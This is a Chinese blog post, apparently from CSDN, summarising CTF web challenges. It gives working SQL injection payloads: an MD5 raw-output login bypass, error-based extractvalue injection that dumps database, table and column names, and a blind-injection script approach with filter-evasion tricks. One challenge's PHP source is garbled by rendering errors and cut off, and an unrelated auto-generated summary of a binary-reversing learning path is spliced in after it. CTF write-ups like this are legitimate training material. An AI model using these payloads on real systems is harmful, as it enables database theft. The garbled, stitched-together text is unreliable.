关于CTF学习总结

本文详细介绍了CTF(Capture The Flag)比赛中涉及的Web安全知识,包括SQL注入、盲注、错误信息利用、XSS、CSRF等多个方面。通过实例解析了如何通过分析源码、理解程序逻辑、利用漏洞来解题。内容涵盖了从简单的SQL注入到复杂的绕过技巧,如利用布尔盲注、时间盲注、报错注入等方法,以及如何通过编码、注释、截断等手段绕过过滤机制。此外,还提到了一些特定场景的解题策略,如利用Burp Suite等工具进行流量分析、利用hash长度扩展攻击、PHP序列化漏洞等。
摘要由CSDN通过智能技术生成

后台登录:
CTF地址http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
基本思路:1,查看源码,看到注释有 介绍,关于MD5加密。
在这里插入图片描述
这里面的md5()函数有两个参数,一个是要加密的字符串,另一个是输出格式,具体是
raw
可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数

但是组成查询语句的时候这个hex会被转成字符串,如果转换之后的字符串包含’or’,就会和原查询语句一起组成

$sql=“select password from users where password=’‘or’’”
导致了sql注入。

提供一个字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再转成字符串: 'or’6<其他字符>
---------------------加了料的报错注入
CTF题地址:http://ctf5.shiyanbar.com/web/baocuo/index.php
基本思路:第一步:看源代码—>第二步:提交单引号,看有没有报错,确定是否有注入。
看源码,发现一点提示

试了之后在username和password提交单引号都报错,说明都注入了,接下来就是构造sql注入语句了。

第一条 username=1’ or extractvalue/&password=1/(1,concat(0x7e,(select database()),0x7e))or’

这里需要用的知识

1.http分割注入(用注释符/**/把中间的语句注释掉)

2.extractvalue函数(解析XML,返回查询的语句和concat连接起来,会提示报错。所以会把信息报出来)

3.concat函数(concat(a,b,c)把字符串abc连起来,因为报错出来的字符有限,要用特殊字每连接, 这样会完整的报出来。所以会用到0x7e,就是~符号)

得出数据库名


XPATH syntax error: ‘error_based_hpf
第二条username=1’ or extractvalue/&password=1/(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database()),0x7e))or’

这个和上面的差不多一样,改变了一下查询语句(ps:这道题过滤了等号,所以可以用 in(),regexp()’'等方法绕过)

用到了group_concat()函数,因为查询结果有多行(多个表),这个函数的作用是将多行聚合为一行返回结果。

得表名 XPATH syntax error: ‘ffll44jj,users’ 两个表,一看就是前一个

第三条username=1’ or extractvalue/&password=1/(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name regexp ‘ffll44jj’),0x7e))or’

得到字段名XPATH syntax error: ‘value

第四条 username=1’ or extractvalue/&password=1/(1,concat(0x5c,(select group_concat(value) from ffll44jj)))or’

XPATH syntax error: ‘\flag{err0r_b4sed_sqli_+_hpf}’
---------------------题三:认真一点-----
CTF地址:http://ctf5.shiyanbar.com/web/earnest/index.php
刚打开是一个输入框,第一反应是sql注入,经过各种实验我们的出结论

1.提交1或用语句让框内为真,显示You are in。

2.提交语句有错误或语句让框内为假,不报错,但显示You are not in(实质和报错一样)

3.提交某些特殊字符会被过滤并显示sql injection detected,经过各种测试(可用Burp suite进行模糊测试或脚本提交敏感字符)发现过滤的字符有and,空格,+,#,union,逗号,

4.提交语句id=1’or’1’='2,如果网页对or没有任何处理的话,应返回You are in(因为后面的语句错误,相当于只提交id=1),但返回的却是You are not in,说明or被处理了。一般的后台处理逻辑是匹配or、or(不分大小写)、or+空格并替换为空。尝试改变大小写和用oorr代替,发现回显都为You are in,也就是说,后台处理应该是匹配or(小写),并将其替换为空,并且仅仅处理了一次。所以在接下来的语句构造中我们可以用oorr,OR等代替or。

那么接下来我们使用python脚本进行盲注

跑数据库名长度->跑数据库名->跑表名长度->跑表名->跑字段名长度->跑字段名
链接中脚本思想:通过构造 2’oorr(这里放语句)oorr’2 ,当括号中括号为真时,页面返回You are in ; 否则返回其他。

通过requests.post(url,data) 一个个将猜数字,猜库名表名字母的语句post上去,当"You are in" 出现在 requests.post(url,data).txt 时,说明返回成功,返回当前语句中猜测的字母,数字。

1.由于提取字符函数substr()被过滤了,用mid()函数达到同样效果

2.由于逗号被过滤了,在mid()函数中用from(%d)for(1)代替逗号分隔符,如mid((database())from(1)foorr(1))代表库名第一个字母(for中的or也被过滤了,所以用foorr)。

3.由于空格被过滤了,我们用

flag = flag.replace(’ ', chr(0x0a))
将构造语句中的空格用chr(0x0a),也就是换行符\n替代(这也行?),其实在原代码语句中,后面用括号代替空格的情况也可以改回用空格了。

4.提醒requests.post(url,data)中的data一定要是字典{id:“ ”}。

5.猜长度的语句和猜字母的一样,只不过放在后面的字母为’’,同时做一个计数器,当匹配到空时,说明名字匹配结束,返回计数器当前的数字就是名字长度。

(group_concat(table_name separatoorr ‘@’)
(group_concat(column_name separatoorr ‘@’)
用以上语句代替table_name和column_name,是因为可能有多个表段和多个字段,这个语句让多个表名,字段名一起输出并用@将之分隔。具体解释参考 这个
7.最后有个小坑就是用脚本跑出来的数据长度13位不是实际的穿的长度,因为数据中含有的-是空格转义来的,脚本识别到就以为数据结束了(这里不是很明白,空格和空不是不一样么?为什么遇到空格就停了)。由上面可知,最后爆出的flag是flag{hahayou-win!}中的-是空格,所以真正的flag是flag{hahayou win!}。

首先刚进网页就是一个have fun! 看了源码没有什么提示,也没有输入框,那就打开F12看看

响应头中有一个hint,打开hint的地址,获取源码。

foreach([$_POST] as KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ foreach(global_var as $key => $value) {
v a l u e = t r i m ( value = trim( value=trim(value);
is_string($value) && r e q [ req[ req[key] = addslashes(KaTeX parse error: Expected 'EOF', got '}' at position 14: value); }̲ } 源码中把number变成数组$req[“number”],从做题过程来看这俩货应该都输代表输入的number值,但变成数组后过滤了原来值中的空格并且在单引号和双引号前加了反斜杠 详见 trim()函数的用法 和addslashes()函数的用法
以下展示关键源码,获取flag有四个条件

if(is_numeric($_REQUEST[‘number’])){

$info=“sorry, you cann’t input a number!”;//条件1:输入的不能只是数字

}elseif( r e q [ ′ n u m b e r ′ ] ! = s t r v a l ( i n t v a l ( req[&#x27;number&#x27;]!=strval(intval(

CTF二进制学习路线可以按照以下步骤进行: 1. 入门逆向工具:首先,你可以学习一些逆向工具,比如IDA Pro和Ghidra。这些工具可以帮助你分析和理解二进制文件的结构和功能。\[2\] 2. 学习数据结构和算法:在进行CTF方面的逆向时,算法逆向是一个重要的考察点。因此,建议你学习一些数据结构和算法的知识,以便更好地理解和分析二进制文件中的算法。\[2\] 3. 学习逆向实战:如果你想进行真正的逆向工作,可以考虑观看一些逆向工程的视频教程,比如滴水逆向三期初级班。这个课程涵盖了广泛的知识面,学完后你将具备入门级的逆向技能。\[2\] 4. 了解二进制安全的发展历程:在学习二进制安全之前,了解其发展历程和相关概念是很重要的。二进制安全技术在20世纪90年代就已经有了一小群先驱者在研究,并且现在已经形成了一个完整的体系。了解这些背景知识可以帮助你更好地理解和应用二进制安全技术。\[3\] 总结起来,CTF二进制学习路线包括入门逆向工具、学习数据结构和算法、学习逆向实战以及了解二进制安全的发展历程。通过这些步骤,你可以逐步提升你的二进制安全技能,并在CTF比赛中取得更好的成绩。 #### 引用[.reference_title] - *1* [【PWN之路】二进制基础](https://blog.csdn.net/weixin_38835814/article/details/126567215)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [二进制学习路线(暂定)](https://blog.csdn.net/qq_41071646/article/details/102884530)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [ctf从零开始学 0x1:Windows下的二进制安全学习路线](https://blog.csdn.net/qq_43504939/article/details/90246409)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值